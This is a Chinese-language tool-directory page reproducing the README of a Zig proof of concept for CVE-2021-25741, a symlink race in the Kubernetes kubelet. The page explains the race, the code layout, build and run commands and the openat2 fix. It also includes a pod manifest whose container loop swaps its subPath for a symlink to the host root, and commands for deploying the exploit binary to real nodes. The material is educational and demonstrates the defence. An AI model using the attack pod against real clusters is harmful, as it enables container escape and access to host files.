Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ZigRaceExploit — CVE-2021-25741 的 Zig 语言 PoC | Kitploit
工具/GitHubGitHub/glutenfree69/zigraceexploit
容器安全漏洞分析漏洞利用云安全学习与教育二进制利用
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 的 Zig 语言 PoC

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-25741 — Zig中的TOCTOU符号链接竞态利用

关于TOCTOU(检查时间,使用时间)竞态条件的教育性利用,它是CVE-2021-25741的根源,该漏洞存在于Kubernetes kubelet中。

该项目在本地(无需K8s集群)演示了并发符号链接交换如何能够绕过lstat()和open()之间的路径检查,并证明带有RESOLVE_*标志的openat2()是解决方案。

目录

  • 问题
  • 利用的工作原理
  • 代码架构
  • 前提条件
  • 构建
  • 使用
    • 本地Docker测试
    • openat与openat2对比
    • 调整TOCTOU延迟
    • 在真实Kubernetes节点上测试
  • 预期结果
  • 代码解释
  • 使用的Linux系统调用
  • 使用strace调试
  • 参考资料

问题

Linux下的路径解析

当内核解析像/a/b/c/file这样的路径时,它是逐个组件进行的。在每一步,如果该组件是一个符号链接,内核会自动跟随它。这种解析不是原子性的——文件系统可能在两个步骤之间发生变化。

kubelet中的TOCTOU

Kubernetes kubelet恰好使用了这种易受攻击的模式:

root@kitploit:~
1. 检查:lstat(subPath) → "这是一个目录,是安全的"
     ↕ 竞态窗口——容器内的进程将目录交换为符号链接
2. 使用:mount(subPath) → 跟随符号链接,挂载宿主文件系统

在检查与挂载之间,容器内的恶意进程可以将subPath替换为指向宿主/的符号链接,从而获得对宿主文件系统的完全访问权。

修复:openat2(2)

系统调用openat2(内核5.6+)以原子方式解析路径并打开文件,同时带有约束条件:

Flag效果

使用openat2,没有TOCTOU窗口:如果在解析过程中出现符号链接,系统调用会立即失败。


利用的工作原理

两个线程协作利用TOCTOU窗口:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → 包含"LEGIT"
├── symlink_target/
│   └── secret.txt  → 包含"PWNED"
└── target/          → 在真实目录和符号链接之间切换

竞态线程

高速循环运行,并通过renameat2(RENAME_EXCHANGE)原子性地在两种状态之间切换target/:

  • 状态A:target/是一个真实目录(包含secret.txt = "LEGIT")
  • 状态B:target/是一个指向symlink_target/的符号链接(包含secret.txt = "PWNED")

每次交换仅一个系统调用 = 最大竞态窗口。

受害线程(模拟kubelet)

重现kubelet的脆弱模式:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — 检查是否为目录
  2. 可选暂停(模拟kubelet在检查和使用之间的延迟)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — 打开文件
  4. read() — 读取内容
  5. 如果内容 == "PWNED" → 竞态成功(符号链接被跟随)
  6. 如果内容 == "LEGIT" → 竞态失败(确实是真实目录)

在保护模式下(--use-openat2),步骤3使用带有RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH的openat2。如果存在符号链接,内核返回ELOOP而非跟随它。


代码架构

root@kitploit:~
src/
├── main.zig       # 入口点:解析CLI,创建共享状态,生成线程,
│                  # 测量时间,显示结果
│
├── racer.zig      # 竞态线程:准备初始状态(target → symlink),
│                  # 然后循环使用renameat2(RENAME_EXCHANGE)不断交换
│                  # target/和legit_dir/
│
├── victim.zig     # 受害线程:循环N次 fstatat → delay →
│                  # openat/openat2 → read → 比较 "LEGIT" vs "PWNED"
│
├── setup.zig      # 创建测试目录结构:workdir/, legit_dir/,
│                  # symlink_target/, target/及哨兵文件
│
├── syscalls.zig   # 原始系统调用的常量和包装器:
│                  # - open_how 结构体(内核UAPI,3×u64)
│                  # - RESOLVE_* 标志
│                  # - RENAME_EXCHANGE (= 2)
│                  # - 通过 linux.syscall4(.openat2, ...) 调用 openat2()
│                  # - 通过 linux.renameat2() 调用 rename_exchange()
│                  # - 辅助函数:is_err(), to_errno(), to_fd()
│
└── stats.zig      # 无锁原子计数器 (std.atomic.Value(u64))
                   # 用于 wins, losses, errors, eloop 及格式化输出

所有系统调用均直接通过std.os.linux.*调用(不使用std.fs或std.posix包装器)。在Zig 0.15标准库中唯一没有包装器的系统调用是openat2,我们通过linux.syscall4(.openat2, ...)调用,并手动根据内核UAPI头定义open_how结构体。


前提条件

工具版本原因
Zig0.15.x编译器 + 交叉编译
Docker任意

该二进制文件编译为静态(musl libc),无依赖即可在任何Linux上运行。

最小内核:

  • 3.15+ 提供renameat2(RENAME_EXCHANGE)
  • 5.6+ 提供带RESOLVE_*的openat2(仅在--use-openat2时需要)

Mac上的Docker Desktop和colima使用6.x内核——一切均支持。


构建

Mac → Linux 交叉编译

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (针对x86节点)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

二进制文件位于zig-out/bin/race-exploit。

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

使用

本地Docker测试

root@kitploit:~
# 启动Docker运行时(如果使用macOS)
colima start

# 运行利用(默认易受攻击模式)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

openat与openat2对比

root@kitploit:~
# 易受攻击模式 (openat) — 竞态生效
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# 保护模式 (openat2) — 竞态被阻止
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

或者使用同时运行两者的脚本:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

调整TOCTOU延迟

参数--delay-us在lstat(检查)和openat(使用)之间添加延迟。延迟越长,TOCTOU窗口越宽,获胜率越高:

root@kitploit:~
# 无延迟 — 获胜率约25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — 获胜率约35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — 获胜率约50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — 获胜率约50%(已封顶,竞态线程切换更快)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

在真实的kubelet中,subPath检查与绑定挂载之间的延迟约为数毫秒(API调用、挂载命名空间准备等),这使得竞态在实际条件下非常可靠。

完整的CLI选项

root@kitploit:~
race-exploit [options]
  --iterations N     尝试次数(默认: 10000)
  --delay-us N       lstat和open之间的微秒延迟(默认: 0)
  --use-openat2      使用带有RESOLVE_*的openat2(保护模式)
  --workdir PATH     工作目录(默认: /tmp/race-workdir)
  --help             显示帮助

在真实Kubernetes节点上测试

该利用不需要Kubernetes即可运行——它是一个基本的Linux竞态条件。但你可以在真实节点上运行,以在与kubelet相同的条件下测试。

选项1:直接在节点上运行

root@kitploit:~
# 为目标节点架构交叉编译
# ARM64(使用Graviton的EKS、使用T2A的GKE等)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# 或x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# 将二进制文件复制到节点
scp zig-out/bin/race-exploit user@node:/tmp/

# 在节点上运行
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# 检查内核版本(>= 5.6 以支持openat2)
ssh user@node uname -r

选项2:从Kubernetes Pod中运行

创建一个包含二进制文件并运行它的Pod:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # 在此之前需将二进制文件复制到此处
  restartPolicy: Never
root@kitploit:~
# 先将二进制文件复制到节点
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# 创建Pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

选项3:使用subPath重现真实CVE

要重现CVE-2021-25741的确切场景,需要在kubelet准备具有subPath的卷绑定挂载时利用竞态:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # 该脚本在容器内运行,并在kubelet准备挂载时切换subPath
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet检查然后挂载此路径
  volumes:
  - name: shared-vol
    emptyDir: {}

重要提示:此攻击仅适用于未打补丁的kubelet(版本 < 1.22.2, < 1.21.5, < 1.20.11)。较新的kubelet使用带有RESOLVE_NO_SYMLINKS的openat2来解析subPath。

要检查你的kubelet是否易受攻击:

root@kitploit:~
# kubelet版本
kubectl get nodes -o wide

# 检查kubelet是否使用openat2(在节点上)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

预期结果

openat(易受攻击)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2(受保护)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

关键观察:

  • "Total attempts"小于请求的迭代次数,因为许多循环被跳过(lstat看到一个符号链接且未尝试open)
  • 在openat模式下,约25%的尝试导致获胜(读取了"PWNED"文件)
  • 在openat2模式下,0%获胜——每次竞态线程进行交换时,内核检测到并返回ELOOP
  • ELOOP计数正好对应openat模式下的获胜次数:相同百分比,但被阻止

代码解释

syscalls.zig — 基本构建块

该文件定义了Zig 0.15标准库中缺失的常量:

root@kitploit:~
// renameat2(2) : 原子性交换两个文件系统条目
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : 传递给系统调用的结构体
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY 等
    mode: u64 = 0,    // 权限(如果使用 O_CREAT)
    resolve: u64 = 0, // RESOLVE_* 标志
};

// open_how.resolve 的解析标志
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // 拒绝所有符号链接
pub const RESOLVE_BENEATH: u64 = 0x08;     // 禁止上升到dirfd以上

openat2通过linux.syscall4(.openat2, ...)调用,因为Zig 0.15有系统调用号但没有包装器。

racer.zig — 攻击者线程

启动时,它将target/转换为指向symlink_target/的符号链接,然后循环执行两个renameat2(RENAME_EXCHANGE)来交换target和legit_dir:

root@kitploit:~
迭代1: target=dir,     legit_dir=symlink  ← 受害者看到目录,正常打开
迭代2: target=symlink, legit_dir=dir      ← 受害者跟随符号链接 → PWNED

victim.zig — kubelet线程

重现lstat → delay → openat/openat2 → read → 比较。结果通过无锁原子计数器(fetchAdd,排序.monotonic)进行计数。

setup.zig — 测试结构

通过原始系统调用创建目录结构,使用mkdirat、openat(O_CREAT)和write。两个哨兵文件:真实目录中的"LEGIT",符号链接目标中的"PWNED"。


使用的Linux系统调用


使用strace调试

root@kitploit:~
# 跟踪两个线程的所有系统调用
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# 过滤感兴趣的系统调用
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# 查看openat2的ELOOP
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

注意:Alpine默认未安装strace。请使用alpine:edge或使用apk add strace安装:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

参考资料

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — 修复
  • man 2 renameat2 — 原子性交换
  • man 2 fstatat — 不跟随符号链接的lstat
  • Symlinks and path resolution — Star Lab
下载工具
RESOLVE_NO_SYMLINKS
拒绝跟随任何符号链接 → 返回ELOOP
RESOLVE_BENEATH拒绝超出基础目录 → 返回EXDEV
RESOLVE_IN_ROOT将dirfd视为文件系统根目录
RESOLVE_NO_XDEV拒绝穿越挂载点
在Mac上运行Linux二进制文件
colima任意macOS上的Docker运行时(或Docker Desktop)
系统调用在利用中的角色Zig封装
renameat2(RENAME_EXCHANGE)原子性交换 target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat:检查target是目录还是符号链接linux.fstatat()
openat(O_RDONLY)打开文件,跟随符号链接(易受攻击)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)打开文件,拒绝符号链接(修复)linux.syscall4(.openat2, ...)
symlinkat创建初始符号链接 target → symlink_targetlinux.symlinkat()
unlinkat在将target重新创建为符号链接前删除它linux.unlinkat()
mkdirat创建测试目录linux.mkdirat()
read / write / close哨兵文件的I/Olinux.read() / linux.write() / linux.close()